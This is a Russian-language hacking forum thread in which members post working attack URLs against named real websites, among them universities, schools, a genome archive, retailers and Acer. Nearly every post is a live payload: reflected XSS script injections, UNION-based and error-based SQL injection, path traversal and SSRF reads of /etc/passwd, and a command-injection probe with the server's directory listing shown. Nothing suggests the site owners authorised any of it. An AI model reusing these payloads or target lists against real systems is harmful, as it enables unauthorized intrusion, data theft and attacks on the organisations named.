Уязвимости SQLi, XSS и другие.

Discussion in 'Песочница' started by Егорыч+++, 10 May 2015.

  1. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    68
    Likes Received:
    25
    Reputations:
    18
    Code:
    Post-Reformation Digital Library (PRDL) - database that organizes the vast array of publicly available digital sources on the development of theology and philosophy during the early modern era (late 15th-18th c.). The PRDL spans collections from major research libraries, independent scholarly initiatives, and corporate documentation projects.
    Code:
    https://www.prdl.org/pub_name.php?p_name=%3Cscript%3Eprompt(%22xss%22)%3C/script%3E
     
  2. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    68
    Likes Received:
    25
    Reputations:
    18
    Code:
    https://www.metaltorg.ru/metal_catalog/tsvetnyye_metally_splavy_prokat/dragotsennyye_metally/zoloto/?module=index%27%22()%26%25%3CScRiPt%20%3Eprompt(972295)%3C/ScRiPt%3E
     
    Jerri likes this.
  3. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    68
    Likes Received:
    25
    Reputations:
    18
    University of Oxford
    Faculty of Oriental Studies
    XSS -
    Code:
    http://etcsl.orinst.ox.ac.uk/cgi-bin/etcsl.cgi?charenc=j&display=Crit&text=%3C%2Ffont%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cfont%3E
     
  4. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    68
    Likes Received:
    25
    Reputations:
    18
    И снова учебное заведение в Великобритании

    Macmillan Academy

    XSS -
    Code:
    http://www.macmillan-academy.org.uk/search.php
    В поле поиска вставляем - '"<script>alert(1);</script>
     
    WallHack likes this.
  5. WallHack

    WallHack Elder - Старейшина

    Joined:
    18 Jul 2013
    Messages:
    295
    Likes Received:
    134
    Reputations:
    29
    SSRF
    Code:
    surfmaxxx.ru/system/web.php?u=file:///etc/passwd
     
  6. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    68
    Likes Received:
    25
    Reputations:
    18
    XSS in
    The European Genome-phenome Archive (EGA)
    Code:
    https://ega-archive.org/search-results.php?query=<script>alert('1')</script>
     
  7. Lestatkiy

    Lestatkiy Member

    Joined:
    27 Sep 2010
    Messages:
    50
    Likes Received:
    22
    Reputations:
    5
    LFI
    Code:
    https://www.bridgeworld.com/indexphp.php?page=../../../../../etc/passwd
     
    #327 Lestatkiy, 9 May 2020
    Last edited: 28 May 2020
    dmax0fw and karkajoi like this.
  8. 3nvY

    3nvY Member

    Joined:
    8 Jun 2015
    Messages:
    48
    Likes Received:
    20
    Reputations:
    11
    ERROR Based SQL injection

    Code:
    https://client-api.coronavirus-monitor.com/v1/city-comments?per-page=20&q[id_city][or]=1=1)%20union%20SELECT%20cast(concat(version())%20as%20bigint)%20FROM%20information_schema.tables%20--+-
     
    dmax0fw, sepo, Baskin-Robbins and 2 others like this.
  9. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    68
    Likes Received:
    25
    Reputations:
    18
    PENNSYLVANIA ASSOCIATION OF PRIVATE SCHOOL ADMINISTRATORS

    Code:
    https://papsa.org/search/results.php?s=%3Cscript%3Ealert(%271%27)%3C/script%3E
     
    Baskin-Robbins likes this.
  10. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    68
    Likes Received:
    25
    Reputations:
    18
    Code:
    EPOMM is the European Platform on Mobility Management, a network of governments in European countries that are engaged in Mobility Management (MM)
    XSS:
    Code:
    http://www.epomm.eu/index.php?country_id=21&id=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
     
  11. Lestatkiy

    Lestatkiy Member

    Joined:
    27 Sep 2010
    Messages:
    50
    Likes Received:
    22
    Reputations:
    5
    code executed
    Code:
    https://joemonster.org/search.php?q=dir%26dir
    поле поиска под фильтрацией, но есть частичное исполнения комманд
    Code:
    dir&dir
    ответ
    Code:
    Volume in drive H is Storage<br> Volume Serial Number is 20D8-07C3<br> Directory of H:\Gry
     
    shell_c0de and Раrаdох like this.
  12. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    68
    Likes Received:
    25
    Reputations:
    18
    Code:
    https://euacademics.com/country.php?id="><script>alert(1);</script>
     
    Baskin-Robbins likes this.
  13. Octavian

    Octavian Elder - Старейшина

    Joined:
    8 Jul 2015
    Messages:
    496
    Likes Received:
    95
    Reputations:
    24
  14. sepo

    sepo Member

    Joined:
    21 Jan 2017
    Messages:
    68
    Likes Received:
    25
    Reputations:
    18
    The virtual community for English-speaking expats and Russians

    Code:
    https://www.expat.ru/culturereviews.php?cid=-211+union+select+1,2,3,version (),5,6,7,8,9,10,11--
     
    CyberTro1n likes this.
  15. Octavian

    Octavian Elder - Старейшина

    Joined:
    8 Jul 2015
    Messages:
    496
    Likes Received:
    95
    Reputations:
    24
    Получил такой отстук из сервисов Yandex

    [​IMG] [​IMG]
     
  16. erwerr2321

    erwerr2321 Elder - Старейшина

    Joined:
    19 Jun 2015
    Messages:
    4,040
    Likes Received:
    24,820
    Reputations:
    137
    ничёси, какая удача!
    давно ли это случилось? и что сказали на ББ? :)
     
  17. Octavian

    Octavian Elder - Старейшина

    Joined:
    8 Jul 2015
    Messages:
    496
    Likes Received:
    95
    Reputations:
    24
    Давно, без ответа по этому запостил.
    Я в чате боту ответи XSS-кой
     
    erwerr2321 likes this.
  18. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    632
    Likes Received:
    1,315
    Reputations:
    408
    Code:
    https://www.sportmaster.ru/catalog/product/search.do?text=lol%27-prompt(%27hek?%27)-%27&f-delivery=courier
    
     
  19. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    632
    Likes Received:
    1,315
    Reputations:
    408
    Code:
    https://thumbs.dfs.ivi.ru/storage9/contents/a/b/78a4a0ed16e16c38c75a92ffa15840.jpg?mod=<svg/onload=alert(document.domain)>
    
     
    fandor9, 3nvY, Octavian and 2 others like this.
  20. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    632
    Likes Received:
    1,315
    Reputations:
    408
    Code:
    https://www.acer.com/ac/en/US/content/support-product/7603?b=1&pn=%3Cscript%3Ealert(/heck/);%3C/script%3E
    https://job.detmir.ru/vacancies/?new-city=%3Csvg/onload=alert(document.domain)%3E
    
     
    fandor9, 3nvY, Octavian and 2 others like this.
Loading...